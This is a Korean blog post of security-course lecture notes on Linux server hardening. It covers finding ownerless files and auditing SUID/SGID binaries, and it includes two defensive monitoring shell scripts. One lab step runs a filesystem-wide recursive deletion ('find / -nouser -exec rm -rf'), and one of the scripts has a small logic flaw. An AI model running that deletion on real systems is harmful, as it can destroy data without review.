양호: 소유자가 존재하지 않은 파일 및 디렉터리가 존재하지 않는 경우

취약: 소유자가 존재하지 않은 파일 및 디렉터리가 존재하는 경우

 

(3) 조치방법

소유자가 존재하지 않은 파일 및 디렉터리 삭제 또는, 소유자 변경

 

(4) 보안 설정 방법

점검 방법

#find / -nouser -print

#find / -nogroup -print

소유자가 nouser, nogroup인 파일이나 디렉터리 존재하는 경우 아래의 보안설정방법에 따라

디렉터리 및 파일 삭제 또는, 소유자 및 그룹을 변경함

 

설정 방법

1. 소유자가 존재하지 않는 파일이나 디렉터리가 불필요한 경우 rm 명령으로 삭제

#rm <file_name>

#rm <directory_name>

삭제할 파일명 또는, 디렉터리명 입력

2. 필요한 경우 chown 명령으로 소유자 및 그룹 변경

#chown <user_name> <file_name>

 

(5) 조치시 영향

일반적인 경우 영향 없음

 

(고객에게 설명)

소유자가 존재하지 않는 파일 및 디렉터리는 현재 권한이 없는 자(퇴직자 등)의 소유였거나, 관리 소홀로 인해 생긴 파일일 가능성이 있음. 만일 중요 파일 및 디렉터리일 경우 문제가 발생할 수 있으므로 관리가 필요함

삭제된 소유자의 UID 와 동일한 사용자가 해당파일, 디렉토리 접근 가능.

  

[실습] find 명령어를 사용한 소유자/그룹 없는 파일 검색 및 처리

 

 

사용자/그룹이 없는 파일에 대해서

 

 

 

사용시스템

- linux200

 

 

[실습] 사용자/그룹이 없는 파일 생성

 

실습용 사용자(nouser) 생성 및 확인

# useradd nouser

# echo nouser | passwd --stdin nouser

Changing password for user nouser.

passwd: all authentication tokens updated successfully.

 

useradd 명령어 수행

() /etc/passwd 파일 내용 추가(# grep nouser /etc/passwd)

() /etc/shadow 파일 내용 추가(# grep nouser /etc/shadow)

() /home/nouser 디렉토리 생성(# ls -l /etc/skel/*)

() /etc/group 파일 내용 추가 (# grep nouser /etc/group)

() MAIL BOX 설정(# ls -l /var/spool/mail/$USER)

 

# grep nouser /etc/passwd

nouser:x:504:504::/home/nouser:/bin/bash

 

# cd /home

# ls -l

total 17

drwx------ 3 hacker hacker 1024 Sep 16 09:28 hacker

drwx------ 2 root root 12288 Jul 4 05:17 lost+found

drwx------ 3 nouser nouser 1024 Sep 16 09:28 nouser

drwx------ 3 user01 user01 1024 Dec 30 2014 user01

drwx------ 3 user02 user02 1024 Dec 30 2014 user02

drwx------ 3 user03 user03 1024 Dec 30 2014 user03

 

/etc/passwd 파일 백업 및 /etc/passwd 파일 편집

# cp -p /etc/passwd /etc/passwd.old

# vi /etc/passwd

..... (중략) .....

user01:x:500:500::/home/user01:/bin/bash

user02:x:501:501::/home/user02:/bin/bash

user03:x:502:502::/home/user03:/bin/bash

hacker:x:503:503::/home/hacker:/bin/bash

nouser:x:504:504::/home/nouser:/bin/bash

-> nouser 라인 삭제

 

# ls -l

total 17

drwx------ 3 hacker hacker 1024 Sep 16 09:28 hacker

drwx------ 2 root root 12288 Jul 4 05:17 lost+found

drwx------ 3 504 nouser 1024 Sep 16 09:28 nouser

drwx------ 3 user01 user01 1024 Dec 30 2014 user01

drwx------ 3 user02 user02 1024 Dec 30 2014 user02

drwx------ 3 user03 user03 1024 Dec 30 2014 user03

 

 

 

 

nouser 파일들 목록 점검

# find / -nouser 2>/dev/null

/home/nouser

/home/nouser/.bash_logout

/home/nouser/.bash_profile

/home/nouser/.mozilla

/home/nouser/.mozilla/extensions

/home/nouser/.mozilla/plugins

/home/nouser/.bashrc

/home/nouser/.emacs

/var/spool/mail/nouser

 

# find / -nouser -ls 2>/dev/null

1 drwx------ 3 504 nouser 1024 Sep 16 09:28 /home/nouser

77523 1 -rw-r--r-- 1 504 nouser 33 Sep 16 09:28 /home/nouser/.bash_logout

77527 1 -rw-r--r-- 1 504 nouser 176 Sep 16 09:28 /home/nouser/.bash_profile

77524 1 drwxr-xr-x 4 504 nouser 1024 Sep 16 09:28 /home/nouser/.mozilla

77525 1 drwxr-xr-x 2 504 nouser 1024 Sep 16 09:28 /home/nouser/.mozilla/extensions

77526 1 drwxr-xr-x 2 504 nouser 1024 Sep 16 09:28 /home/nouser/.mozilla/plugins

77528 1 -rw-r--r-- 1 504 nouser 124 Sep 16 09:28 /home/nouser/.bashrc

77522 1 -rw-r--r-- 1 504 nouser 515 Sep 16 09:28 /home/nouser/.emacs

6431634 0 -rw-rw---- 1 504 mail 0 Sep 16 09:28 /var/spool/mail/nouser

 

# find / -nouser -exec rm -rf {} \;

# find / \( -nouser -o -nogroup \) -ls 2>/dev/null

 

# find / -perm -2 2>/dev/null

# find / -perm -0002 2>/dev/null

# find / -perm -o=w 2>/dev/null

 

(예제) (파일 ) -rw-r--rw- ..... file1

(디렉토리) -rwxr-xrwx ..... dir1

 

내용중 불필요한 파일이 있다면 삭제한다.

 

/etc/passwd 파일 복원작업 검색된

# cp -f /etc/passwd.old /etc/passwd

# ls -l /home

-> /home/nouser 파일의 디렉토리 속성 정보 확인

 

 

 


 

 

2.9 SUID, SGID, Sticky bit 설정 파일 점검

 

점검 분류 항목: 파일 및 디렉토리 관리

세부 점검 항목: 파일 및 디렉토리 소유자 설정

대상: 리눅스

위험도:

관련 코드: U-24

 

(1) 취약점 개요

*SUID(Set User-ID)*SGID(Set Group-ID)가 설정된 파일은(특히, root 소유의 파일인

경우) 특정 명령어를 실행하여 root 권한 획득 및 정상서비스 장애를 발생시킬 수

있으며, 로컬 공격에 많이 이용되므로 보안상 철저한 관리가 필요함.

root 소유의 SUID 파일의 경우에는 꼭 필요한 파일을 제외하고는 SUID, SGID 속성을

제거해주고, 잘못 설정되어 보안 위협이 되고 있는지 주기적인 진단 및 관리가 요구됨.

*SUID(Set User-ID): 설정된 파일 실행 시, 특정 작업 수행을 위하여 일시적으로 파일 소유자의

권한을 얻게 됨.

*SGID(Set Group-ID): 설정된 파일 실행 시, 특정 작업 수행을 위하여 일시적으로 파일 소유

그룹의 권한을 얻게 됨.

 

(2) 판단기준

양호: 주요 파일의 권한에 SUIDSGID에 대한 설정이 부여되어 있지 않은 경우

취약: 주요 파일의 권한에 SUIDSGID에 대한 설정이 부여되어 있는 경우

 

(3) 조치방법

1. 불필요한 SUID, SGID 파일 제거

2. 아래의 목록 이외에 애플리케이션에서 생성한 파일이나, 사용자가 임의로 생성한

파일 등 의심스럽거나 특이한 파일의 발견 시 SUID 제거 필요

 

(4) 보안 설정 방법

점검 방법

OS별 주요 파일에 대한 SUID/SGID 설정 여부 확인

#ls -alL [check_file] |awk ' {print $1 }' | grep -i 's'

 

설정 방법

1. 제거 방법

#chmod -s <file_name>

2. 주기적인 감사 방법

#find / -user root -type f \( -perm -4000 -o -perm -2000 \) -xdev -exec ls -al { } \;

3. 반드시 사용이 필요한 경우 특정 그룹에서만 사용하도록 제한하는 방법

일반 사용자의 Setuid 사용을 제한함 (임의의 그룹만 가능)

#/usr/bin/chgrp <group_name> <setuid_file_name>

#/usr/bin/chmod 4750 <setuid_file_name>

 

SetUID/SetGID 비트를 제거하는 파일 종류

/sbin/dump

/usr/bin/lpq-lpd

/usr/bin/newgrp

/sbin/restore

/usr/bin/lpr

/usr/sbin/lpc

/sbin/unix_chkpwd

/usr/bin/lpr-lpd

/usr/sbin/lpc-lpd

/usr/bin/at

/usr/bin/lprm

/usr/sbin/traceroute

/usr/bin/lpq

/usr/bin/lprm-lpd

 

(5) 조치시 영향

SUID 제거 시 OS 및 응용 프로그램 등 서비스 정상작동 유무 확인 필요

 

(고객에게 설명)

SetUID, SetGID 프로그램의 개수가 변경되었다면 거의 70 ~ 80%가 해킹을 당한것일 가능성이 높다. 일부 프로그램 설치시 SetUID 비트 설정이 될수 있지만 이런 경우는 극히 드문 경우이다.

SetUID 프로그램에 의해 공격 당할 가능성

 

 

[실습] SetUID 프로그램의 위험성

[실습] SetUID 프로그램을 목록화하고 비교하는 프로그램 작성

-> 개인적으로 작성

 

/test/SetUID.list

A

| compare

V

/test/SetUID.current

 

# vi check_SetUID.sh

-----------------------------------------------

#!/bin/bash

 

#

# # crontab -l

# 분 시 일 월 요일 CMD

# 0 1 * * * /test/check_SetUID.sh

#

 

if [ ! -f /test/SetUID.list ] ; then

find / -perm -4000 -type f 2>/dev/null | egrep -v '(/test|/tmp)' > /test/SetUID.list

echo "First excution"

exit 0

fi

 

find / -perm -4000 -type f 2>/dev/null | egrep -v '(/test|/tmp)' > /test/SetUID.current

if [ $? -eq 0 ] ; then

diff /test/SetUID.list /test/SetUID.current > /test/.file1

if [ -s /test/.file1 ] ; then

mailx -s "[ WARN ]: check setuid" root < /test/.file1

else

echo `date` | mailx -s "[ OK ]: all clear" root

fi

else

echo "Error 1: Can't excute a find command"

exit 1

fi

-----------------------------------------------

 

 

 

[실습] 중요한 파일들의 변경 사항(수정 사항)을 점검하는 프로그램 작성

# cat /test/important_file.txt

/etc/passwd

/etc/shadow

/etc/group

/etc/hosts

.......

/test/important_file.txt

A

| compare

V

/test/important_file.current

 

/test/report.txt

-------------------------------------

[ OK ] : /etc/passwd

[ OK ] : /etc/shadow

[ WARN ] : /etc/hosts

......

-------------------------------------

 

# vi check_important_file.sh

-----------------------------------------------

#!/bin/bash

 

#

# # crontab -l

# 0 1 * * * /test/check_important_file.sh

#

# # cat /test/important_file.txt

# /etc/passwd

# /etc/hosts

# ......

#

 

# 이 프로그램이 처음 동작 할 때

if [ ! -d /check ] ; then

mkdir -p /check

cat /test/important_file.txt | while read FILE1

do

cp -p $FILE1 /check # cp -p /etc/passwd /check

echo "First excution"

exit 0

done

fi

 

> /test/report.txt

cat /test/important_file.txt | while read FILE2

do

FILE1=$(basename $FILE2) # basename /etc/passwd

cmp -s /check/$FILE1 $FILE2

if [ $? -eq 0 ] ; then

echo "[ OK ] : $FILE2" >> /test/report.txt

else

echo "[ WARN ] : $FILE2" >> /test/report.txt

fi

done

 

if grep WARN /test/report.txt 2>/dev/null ; then

mailx -s "[ WARN ] : check important file" root < /test/report.txt

else

mailx -s "[ OK ] : all clear" root < /test/report.txt

fi

-----------------------------------------------

 

 

 

check.txt

history.txt

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160727 로그보안  (0) 2016.07.27
20160727 리눅스 서버보안  (0) 2016.07.27
20160725 리눅스 서버보안  (0) 2016.07.25
20160722 리눅스 서버보안  (0) 2016.07.22
20160714 무선해킹  (0) 2016.07.14
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함